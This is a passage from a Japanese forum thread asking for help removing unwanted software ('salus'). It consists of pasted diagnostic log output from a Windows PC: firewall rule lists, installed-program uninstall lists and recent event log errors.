"{497C1DE0-5A77-473C-A5A5-0DC4B17C1204}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{4CB89A60-76E1-4BE0-8679-45118578572B}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{4CBABA78-E46C-4209-AA4F-C9C3CCCEE1BB}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{4F1A7ECB-E60F-42DE-84E5-6234FF08CC9A}" = lport=80 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{4F3B1CED-B0D3-47C7-BCB1-C86EA5663919}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{51D2D78F-0B5C-4B29-ADBB-463053DCA499}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{56E3EC2E-B201-468D-BAC9-9363690FD541}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{5810B123-AD41-4B95-919D-AD29D3AA9421}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{582DEEA2-09A0-49B7-A3C1-A4065556EC76}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{5A7D7055-FDA5-4520-BC4D-577764B6A795}" = lport=138 | protocol=17 | dir=in | app=system |
"{5F23A270-DBEF-4657-84CF-DE10B9388A7D}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{64C5230C-1B65-483D-A709-EC9F8CA5201C}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{660747D8-DD8A-49F2-A49A-DC453A060FAF}" = lport=445 | protocol=6 | dir=in | app=system |
"{677D4283-E78D-45AE-A4F4-00F512970100}" = rport=5355 | protocol=17 | dir=out | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{6A080429-BB61-4BD8-8619-45F32B82C60E}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{6DDE3530-4F81-4120-9AA6-06F2622E4BE7}" = lport=2177 | protocol=17 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{7B3D864F-9F3D-4744-A0C8-7E93B9650F1B}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{7E21E453-E650-4243-B398-78FE529A52F5}" = rport=1900 | protocol=17 | dir=out | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe |
"{86BF83C6-D037-40E8-B89C-D6DE32F5462E}" = lport=1886 | protocol=6 | dir=in | name=genieo |
"{8F27AFFA-2AFF-48EC-ADE7-BE1928DA5727}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{8FB27BEB-210E-46AA-858E-6029A8869A8F}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{900D15AB-C841-4BF7-9E5E-EA4B242E1F46}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{959487F0-2D1A-4E9A-8D46-5CA37AB92165}" = rport=10243 | protocol=6 | dir=out | app=system |
"{96550651-86F2-489E-B5A9-651E72C23D2D}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{98F5A4CD-AE8F-4DCC-B498-1595DA888D95}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{996F3F57-0D2E-47C7-A626-7680D5FE2A33}" = lport=5355 | protocol=17 | dir=in | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{9CD4D823-4F54-46D2-A94D-662BF0B8AE92}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{9CDD1225-F473-4886-945F-65C587688A21}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{9FF77FD3-31C1-4401-84E0-E52EE6EF96AB}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{A1A5CD28-1BF6-4ECC-B635-8673010A7AED}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{A4BD07EB-69AF-4D88-B700-6E9276149DA1}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{A7DF5168-A3E1-4136-A63A-96A77C1789CD}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{B2D1E2A1-F3C1-43E9-AD9F-DE1F9E10FFB4}" = lport=443 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{B9B784BA-8245-4E13-B287-3B24ACA085D2}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{BE20B540-F569-4353-9568-F0209373DE02}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{C025C632-4A96-4985-A2CF-F39BA5BAB72A}" = lport=2869 | protocol=6 | dir=in | app=system |
"{C3259741-C38A-46A1-A950-3BAB54519DC3}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{C748AD85-F259-45F3-93B4-F37CC89E3EB2}" = lport=1886 | protocol=6 | dir=in | name=genieo |
"{CD92D091-D1F3-462C-BFFA-7B5B827255D6}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{D09E194B-CCAE-45C5-A65C-B2BA738BA3D3}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{D29C7E7A-590D-4C04-A3DE-89134B18B6E5}" = lport=139 | protocol=6 | dir=in | app=system |
"{D6F4E2C2-6CFC-43B5-8944-00706740F623}" = lport=80 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{D7801A3C-2BC5-4C05-A89A-F5DA9927C137}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{DDC76339-8680-4C02-B661-69C8F52F734C}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{E176A2F9-D73D-494F-B624-D293E102F075}" = lport=443 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{E304E3D3-3FAC-4047-B645-C2C25BA86B2A}" = lport=443 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{E366C882-8AC2-4032-935C-EF43041A679E}" = rport=445 | protocol=6 | dir=out | app=system |
"{E3E21E67-ED39-4B0E-8DF0-1B2BBB7BC268}" = lport=137 | protocol=17 | dir=in | app=system |
"{E93C5B74-4934-41C9-8CA0-2AD4E53B68F0}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{ECF6BC5C-5D87-4B1C-AF05-3F4A67274DBC}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{ED487BA0-12A8-48AA-B9D6-CAB7B0A8CBE9}" = rport=2177 | protocol=6 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{EF0B308B-84F9-49F5-8996-86E329B99044}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{F50EBA9D-38E3-4E60-9190-13F7537E7E96}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{F971F21C-774C-441E-8011-E70381979053}" = rport=137 | protocol=17 | dir=out | app=system |
"{FA7F377C-C6D9-4C9E-B1E2-05CC4BF614BF}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{FF7FF615-0A44-4AD4-9C08-9F31AB4396EA}" = lport=80 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{FFD2325C-D01F-439C-9C22-C2ED8597DAF2}" = rport=139 | protocol=6 | dir=out | app=system |

[color=#E56717]========== Vista Active Application Exception List ==========[/color]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{02B28AB9-8F0A-4B48-9ACC-202656905E1F}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{02E8E305-D58C-4165-9CAE-E49A5C479B9A}" = dir=in | app=c:\program files (x86)\windows live\contacts\wlcomm.exe |
"{03D898C7-C459-441C-9431-3C50709A66ED}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\powerdvd14agent.exe |
"{1276944B-DB48-48C2-BCDD-F65D18C5AA42}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd10\powerdvd10\powerdvd10.exe |
"{2173EBBA-BB86-4312-86E6-6119BCC1C296}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{26547326-4EAD-4001-8535-D8DB51140611}" = protocol=1 | dir=in | name=@firewallapi.dll,-28543 |
"{2E070D7C-F9D3-40B4-92F6-F2F5CFC0E4FE}" = protocol=1 | dir=out | name=@firewallapi.dll,-28544 |
"{3B9DA33F-2ED5-4141-A048-56FB3CEFF8AE}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\kernel\dms\clmsserverpdvd14.exe |
"{3E8B03AB-28EA-4E94-9D3F-87CE0D3D2730}" = protocol=6 | dir=in | app=c:\program files (x86)\bonjour\mdnsresponder.exe |
"{42A66450-74B1-4231-B260-6FC2FE6A8CAF}" = protocol=6 | dir=in | app=d:\program files (x86)\squareenix\final fantasy xiv - a realm reborn\boot\ffxivboot.exe |
"{4EB786EA-B985-4859-813F-2EE83D2D5E30}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\movie\powerdvdmovie.exe |
"{4EDFE830-473F-4144-8C71-019155DA9169}" = protocol=17 | dir=in | app=c:\program files\bonjour\mdnsresponder.exe |
"{558A8E0E-1B11-4B33-A3B0-B07EFAFCD11F}" = protocol=17 | dir=in | app=d:\program files (x86)\microsoft office\office14\groove.exe |
"{58B5003F-FCDF-4AC0-9952-8D7E331176EF}" = protocol=6 | dir=in | app=d:\program files (x86)\squareenix\final fantasy xiv - a realm reborn\boot\ffxivlauncher.exe |
"{5F670E0C-516A-4786-B74F-E34CDF957F0F}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{6006AF37-2E3E-413C-8A03-1D2A56A6D294}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe |
"{6059821F-4844-4309-AE3F-2510792B4A67}" = protocol=17 | dir=out | app=%programfiles(x86)%\windows media player\wmplayer.exe |
"{6904F93D-B4C9-4834-8F3C-BAEC8867950A}" = protocol=6 | dir=in | app=d:\program files (x86)\microsoft office\office14\groove.exe |
"{6BE1A5C4-2692-488D-A949-7CF7D50A9EBF}" = protocol=6 | dir=out | app=system |
"{712F5656-2E4D-407C-88EF-8F3030F3174B}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd8\powerdvd8.exe |
"{91F3EDFF-3827-49E4-9C83-933C74A95D1F}" = protocol=6 | dir=in | app=c:\program files\bonjour\mdnsresponder.exe |
"{9508EC03-9AA9-414D-849B-51E6B3D6959F}" = protocol=17 | dir=in | app=d:\program files (x86)\squareenix\final fantasy xiv - a realm reborn\boot\ffxivlauncher.exe |
"{9C526806-A6DF-4194-9596-C60CF3236B8F}" = protocol=6 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe |
"{A85A4353-81ED-4123-A34B-EAD9B1B98A27}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe |
"{B3E43FDE-E1B9-4DEC-A61E-EF00990EC975}" = protocol=17 | dir=in | app=%programfiles(x86)%\windows media player\wmplayer.exe |
"{B4C32B58-0304-4468-9018-BA15222B71D0}" = protocol=17 | dir=in | app=d:\program files (x86)\squareenix\final fantasy xiv - a realm reborn\boot\ffxivboot.exe |
"{BA1845F6-45BC-4729-9D13-E619389B1C00}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe |
"{BA713CC2-53BB-443A-A5B1-58A7CB0C26FF}" = protocol=58 | dir=in | name=@firewallapi.dll,-28545 |
"{BABAA60C-D871-40B8-A3FE-191D86F2CAB3}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe |
"{C2BBCF92-9714-458E-9E6A-318F1000EA0A}" = dir=in | app=c:\program files\itunes\itunes.exe |
"{CFFD0E85-113A-43DB-BEA3-415495F40837}" = protocol=17 | dir=in | app=c:\program files (x86)\bonjour\mdnsresponder.exe |
"{D02CB787-8DCE-4BD2-8F19-34C2A6C07DDF}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{DAED99F4-0137-4B80-87FD-28E89B4F6F16}" = protocol=6 | dir=out | svc=upnphost | app=%systemroot%\system32\svchost.exe |
"{E381853E-6475-41F2-BF47-0341D96E032C}" = protocol=58 | dir=out | name=@firewallapi.dll,-28546 |
"{E8CC54C7-C8DA-4D8D-A3FB-5B202777BA0D}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\movie\powerdvd cinema\powerdvdcinema.exe |
"{F35EDE52-F827-4B4D-9CDF-677EAECB0A64}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd10\powerdvd10\powerdvd cinema\powerdvdcinema10.exe |
"{F3E383D7-952F-487C-AF58-A09575D1EB59}" = dir=in | app=d:\program files (x86)\cyberlink\powerdvd14\powerdvd14\powerdvd.exe |
"{F5D28A97-DCDC-4D2D-8B39-D26843E6877F}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe |
"{F97308CA-F86F-4A5B-BFC9-74E55831E4CA}" = protocol=6 | dir=out | app=%programfiles(x86)%\windows media player\wmplayer.exe |
  • mari
  • 2015/03/27 (Fri) 04:09:48
Re: salusの駆除をお助けください
[color=#E56717]========== HKEY_LOCAL_MACHINE Uninstall List ==========[/color]

64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"{0DF7096B-715A-4233-8633-C7A16ED6D616}" = Apple Application Support(64 ビット)
"{17DEA095-8EE1-49A2-AC5A-9663DB098FA9}" = CSR Harmony Wireless Software Stack
"{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" = Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219
"{1E9FC118-651D-4934-97BE-E53CAE5C7D45}" = Microsoft_VC80_MFCLOC_x86_x64
"{26784146-6E05-3FF9-9335-786C7C0FB5BE}" = Microsoft .NET Framework 4.5.2
"{4569AD91-47F4-4D9E-8FC9-717EC32D7AE1}" = Microsoft_VC80_CRT_x86_x64
"{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}" = Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148
"{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" = Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161
"{63B4D665-34F5-333A-BE00-6DDE0CBD4A6C}" = Microsoft .NET Framework 4.5.2 (JPN)
"{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}" = Bonjour
"{8557397C-A42D-486F-97B3-A2CBC2372593}" = Microsoft_VC90_ATL_x86_x64
"{90140000-0028-0411-1000-0000000FF1CE}" = Microsoft Office IME (Japanese) 2010
"{90140000-002A-0000-1000-0000000FF1CE}" = Microsoft Office Office 64-bit Components 2010
"{90140000-002A-0411-1000-0000000FF1CE}" = Microsoft Office Shared 64-bit MUI (Japanese) 2010
"{92A3CA0D-55CD-4C5D-BA95-5C2600C20F26}" = Microsoft_VC90_CRT_x86_x64
"{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" = Microsoft .NET Framework 4.5.2
"{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1041" = Microsoft .NET Framework 4.5.2 (日本語)
"{9495AEB4-AB97-39DE-8C42-806EEF75ECA7}" = Microsoft Visual Studio 2010 Tools for Office Runtime (x64)
"{95120000-00B9-0409-1000-0000000FF1CE}" = Microsoft Application Error Reporting
"{996D32B6-F629-4764-894B-CB24D9C19051}" = Microsoft Security Client
"{A472B9E4-0AFF-4F7B-B25D-F64F8E928AAB}" = Microsoft_VC90_MFC_x86_x64
"{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}" = Microsoft Visual C++ 2005 Redistributable (x64)
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision" = NVIDIA 3D Vision ドライバー 333.11
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.ControlPanel" = NVIDIA コントロール パネル 333.11
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver" = NVIDIA グラフィックス ドライバー 333.11
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NView" = NVIDIA nView 141.13
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NVIRUSB" = NVIDIA 3D Vision コントローラー ドライバー 332.21
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NVWMI" = NVIDIA WMI 2.16.0
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver" = NVIDIA HD オーディオ ドライバー 1.3.30.1
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_installer" = NVIDIA Install Application
"{C4123106-B685-48E6-B9BD-E4F911841EB4}" = Apple Mobile Device Support
"{C6E57DC0-5699-47D4-9263-CEE00A4BB1FC}" = Windows Live MIME IFilter
"{C8C1BAD5-54E6-4146-AD07-3A8AD36569C3}" = Microsoft_VC80_MFC_x86_x64
"{C91DCB72-F5BB-410D-A91A-314F5D1B4284}" = Broadcom NetLink Controller
"{CE52672C-A0E9-4450-8875-88A221D5CD50}" = Windows Live ID Sign-in Assistant
"{D227565A-0033-40AD-89BA-653A205CDC11}" = iTunes
"{D2837730-4960-3B35-8088-201387FD3BDB}" = Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - JPN
"{E9FA781F-3E80-4399-825A-AD3E11C28C77}" = MSVCRT110_amd64
"ASRock 3TB+ Unlocker_is1" = ASRock 3TB+ Unlocker v1.1
"ASRock App Charger_is1" = ASRock App Charger v1.0.6
"ASRock XFast RAM_is1" = ASRock XFast RAM v2.0.28
"CCleaner" = CCleaner
"CPUID ROG CPU-Z_is1" = CPUID ROG CPU-Z 1.63
"Microsoft Security Client" = Microsoft Security Essentials
"Microsoft Visual Studio 2010 Tools for Office Runtime (x64)" = Microsoft Visual Studio 2010 Tools for Office Runtime (x64)
"Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - JPN" = Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - 日本語
"sp6" = ロジクール SetPoint 6.52
"XFast LAN" = XFast LAN v9.05

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"{024521CF-C07E-4F8E-8481-0D75695E03AF}" = PxMergeModule
"{033E378E-6AD3-4AD5-BDEB-CBD69B31046C}" = Microsoft_VC90_ATL_x86
"{045D4EDF-8DC1-43D7-BAFC-7AAEF99C7168}" = Adobe Creative Suite 6 Production Premium
"{0687525F-1035-41A2-8198-C02A82EF19E1}" = Sound Blaster Recon3Di
"{08D2E121-7F6A-43EB-97FD-629B44903403}" = Microsoft_VC90_CRT_x86
"{0F3647F8-E51D-4FCC-8862-9A8D0C5ACF25}" = Microsoft_VC80_ATL_x86
"{111EE7DF-FC45-40C7-98A7-753AC46B12FB}" = QuickTime 7
"{185F9795-9663-4F13-9EF9-307A282ADB5A}" = ph
"{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148
"{24758B1D-9345-4538-A69A-05660F63A296}" = Junk Mail filter update
"{2A075BB4-E976-4278-BF3F-E5C6945D84C0}" = bl
"{2A87D48D-3FDF-41fd-97CD-A1E370EFFFE2}" = CyberLink Power2Go 8
"{2B41E132-07DF-4925-A3D3-F2D1765CCDFE}" = FINAL FANTASY XIV - A Realm Reborn
"{2E037507-E75B-4AAE-A419-2AE25C87B6A2}" = Windows Live Writer Resources
"{2FD797FD-1349-4E60-824C-CFECA680FFF0}" = Sound Blaster EVO Zx/ZxR
"{324F76CC-D8DD-4D87-B77D-D4AF5E1AA7B3}" = CyberLink WaveEditor 2
"{32C8E300-BDB4-4398-92C2-E9B7D8A233DB}" = CyberLink PowerDVD 14
"{3AF095EF-23B3-4C6A-BBA1-4C1EB663DAF8}" = TI USB3 Host Driver
"{3EE9BCAE-E9A9-45E5-9B1C-83A4D357E05C}" = eReg
"{40BF1E83-20EB-11D8-97C5-0009C5020658}" = Power2Go
"{4260CAAE-D108-4223-A1C5-96B67062FE86}" = Windows Live Installer
"{447CDCE5-F555-429B-BFA6-642C3C6D684F}" = Apple Application Support(32 ビット)
"{46EDCFA5-7EDB-46A9-B093-1C6237470CEC}" = 3DMark 11
"{56C049BE-79E9-4502-BEA7-9754A3E60F9B}" = neroxml
"{59307833-CB98-4440-B644-0CD352F61907}" = Windows Live PIMT Platform
"{5D9A58F8-ADE0-431A-BB8D-AD248683C13E}" = Windows Live メール
"{5DB1DF0C-AABC-4362-8A6D-CEFDFB036E41}" = Suite
"{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}" = Google Update Helper
"{635FED5B-2C6D-49BE-87E6-7A6FCD22BC5A}" = Microsoft_VC90_MFC_x86
"{65153EA5-8B6E-43B6-857B-C6E4FC25798A}" = Intel(R) Management Engine Components
"{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}" = Microsoft Visual C++ 2005 Redistributable
"{7299052b-02a4-4627-81f2-1818da5d550d}" = Microsoft Visual C++ 2005 Redistributable
"{72D9236D-C6EA-4DA6-A18C-CC24521A70D4}" = Windows Live Mail
"{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}" = Apple Software Update
"{7B0AEAF4-3C01-4169-9036-45573CF767D6}" = Windows Live Essentials
"{837b34e3-7c30-493c-8f6a-2b0f04e2912c}" = Microsoft Visual C++ 2005 Redistributable
"{8DD46C6A-0056-4FEC-B70A-28BB16A1F11F}" = MSVCRT
"{8E14DDC8-EA60-4E18-B3E3-1937104D5BDA}" = MSVCRT110
"{8F5320EB-DC7C-46EF-9ACC-A58669001BDE}" = Photo Common
"{8F66BFDE-B213-48E2-93EF-7151277A2916}" = Windows Live SOXE Definitions
"{90140000-0011-0000-0000-0000000FF1CE}" = Microsoft Office Professional Plus 2010
"{90140000-0011-0000-0000-0000000FF1CE}_Office14.PROPLUS_{037231BF-E912-448A-A966-C2B37570EBF9}" =
"{90140000-0015-0411-0000-0000000FF1CE}" = Microsoft Office Access MUI (Japanese) 2010
"{90140000-0016-0411-0000-0000000FF1CE}" = Microsoft Office Excel MUI (Japanese) 2010
"{90140000-0018-0411-0000-0000000FF1CE}" = Microsoft Office PowerPoint MUI (Japanese) 2010
"{90140000-0019-0411-0000-0000000FF1CE}" = Microsoft Office Publisher MUI (Japanese) 2010
"{90140000-001A-0411-0000-0000000FF1CE}" = Microsoft Office Outlook MUI (Japanese) 2010
"{90140000-001B-0411-0000-0000000FF1CE}" = Microsoft Office Word MUI (Japanese) 2010
"{90140000-001F-0409-0000-0000000FF1CE}" = Microsoft Office Proof (English) 2010
"{90140000-001F-0411-0000-0000000FF1CE}" = Microsoft Office Proof (Japanese) 2010
"{90140000-0028-0411-0000-0000000FF1CE}" = Microsoft Office IME (Japanese) 2010
"{90140000-002C-0411-0000-0000000FF1CE}" = Microsoft Office Proofing (Japanese) 2010
"{90140000-0044-0411-0000-0000000FF1CE}" = Microsoft Office InfoPath MUI (Japanese) 2010
"{90140000-006E-0411-0000-0000000FF1CE}" = Microsoft Office Shared MUI (Japanese) 2010
"{90140000-00A1-0411-0000-0000000FF1CE}" = Microsoft Office OneNote MUI (Japanese) 2010
"{90140000-00BA-0411-0000-0000000FF1CE}" = Microsoft Office Groove MUI (Japanese) 2010
"{92D58719-BBC1-4CC3-A08B-56C9E884CC2C}" = Microsoft_VC80_CRT_x86
"{933B4015-4618-4716-A828-5289FC03165F}" = VC80CRTRedist - 8.0.50727.6195
"{94532CD5-C66D-49E3-9131-5FB04D7647A1}" = Windows Live UX Platform
"{9797D7BA-A333-4DF1-AF55-AC745D216EDB}" = Windows Live Writer
"{983FA94A-A7DD-40B1-B7F9-F45D2B4FD1DE}" = Windows Live Photo Common
"{9A25302D-30C0-39D9-BD6F-21E6EC160475}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17
"{9BE518E6-ECC6-35A9-88E4-87755C07200F}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161
"{A9FFEC6C-9C44-4597-8E23-EDD78BF5D0B2}" = Windows Live Communications Platform
"{ABF2A330-637C-45FC-A1EF-AAA803FB6FE5}" = スタートアップツール
"{AF37176A-78CA-545B-34EF-8B6A21514DD1}" = Adobe Help Manager
"{BEE64C14-BEF1-4610-8A68-A16EAA47B882}" = Futuremark SystemInfo
"{C40C3C3D-97CF-44B5-836C-766E374464B3}" = 3DMark Vantage
"{C87DF7BB-4F5C-4BBE-B041-A59FFF4A1D07}" = Windows Live SOXE
"{D0B44725-3666-492D-BEF6-587A14BD9BD9}" = MSVCRT_amd64
"{D1A19B02-817E-4296-A45B-07853FD74D57}" = Microsoft_VC80_MFC_x86
"{D55BF3B9-AE2D-45BB-9E3D-2426EE92ED08}" = Sound Blaster EVO Zx/ZxR Extras
"{D92BBB52-82FF-42ED-8A3C-4E062F944AB7}" = Microsoft_VC80_MFCLOC_x86
"{DE3A9DC5-9A5D-6485-9662-347162C7E4CA}" = 日本語 App Name
"{E09C4DB7-630C-4F06-A631-8EA7239923AF}" = D3DX10
"{E417A01A-D4DB-43FD-891D-D615E95929A3}" = Sound Blaster Recon3Di Extras
"{ECE66592-E920-4C43-9D1C-9BC12483EC42}" = AdobePDFSettings11-new-ja_JP
"{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}" = Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219
"{F1A6C690-C12C-4E7A-B4BD-958678215418}" = 3DMark
"{F1FB514E-F90C-4CFC-B381-B2D98856FC0C}" = Windows Live UX Platform Language Pack
"{FE23D063-934D-4829-A0D8-00634CE79B4A}" = Adobe AIR
"Adobe AIR" = Adobe AIR
"ASRock eXtreme Tuner_is1" = ASRock eXtreme Tuner v0.1.382.1
"ASRock InstantBoot_is1" = ASRock InstantBoot v1.29
"chc.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1" = Adobe Help Manager
"com.adobe.amp.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1" = 日本語 App Name
"DivX Setup" = DivXセットアップ
"DVD Decrypter" = DVD Decrypter (Remove Only)
"Google Chrome" = Google Chrome
"InstallShield_{2A87D48D-3FDF-41fd-97CD-A1E370EFFFE2}" = CyberLink Power2Go 8
"InstallShield_{324F76CC-D8DD-4D87-B77D-D4AF5E1AA7B3}" = CyberLink WaveEditor 2
"InstallShield_{3AF095EF-23B3-4C6A-BBA1-4C1EB663DAF8}" = TI USB 3.0 Host Controller Driver
"IObitUninstall" = IObit Uninstaller
"MagicDisc 2.7.106" = MagicDisc 2.7.106
"Malwarebytes' Anti-Malware_is1" = Malwarebytes Anti-Malware version 1.75.0.1300
"NVIDIAStereo" = NVIDIA Stereoscopic 3D Driver
"Office14.PROPLUS" = Microsoft Office Professional Plus 2010
"RemoteToolGuider.east_is1" = リモートサポートツール
"SoundEngine Free" = SoundEngine Free
"SysInfo" = Creative システム インフォメーション
"WinLiveSuite" = Windows Live Essentials
"WinRAR archiver" = WinRAR アーカイバ
"XFastUSB" = XFastUSB
"診断復旧ツール_is1" = 診断復旧ツール

[color=#E56717]========== HKEY_USERS Uninstall List ==========[/color]

[HKEY_USERS\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]

[color=#E56717]========== Last 20 Event Log Errors ==========[/color]

[ Application Events ]
Error - 2015/03/26 5:28:29 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: m->NextScheduledSPRetry 4072

Error - 2015/03/26 5:28:30 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: Continuously busy for more than a second

Error - 2015/03/26 5:28:30 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
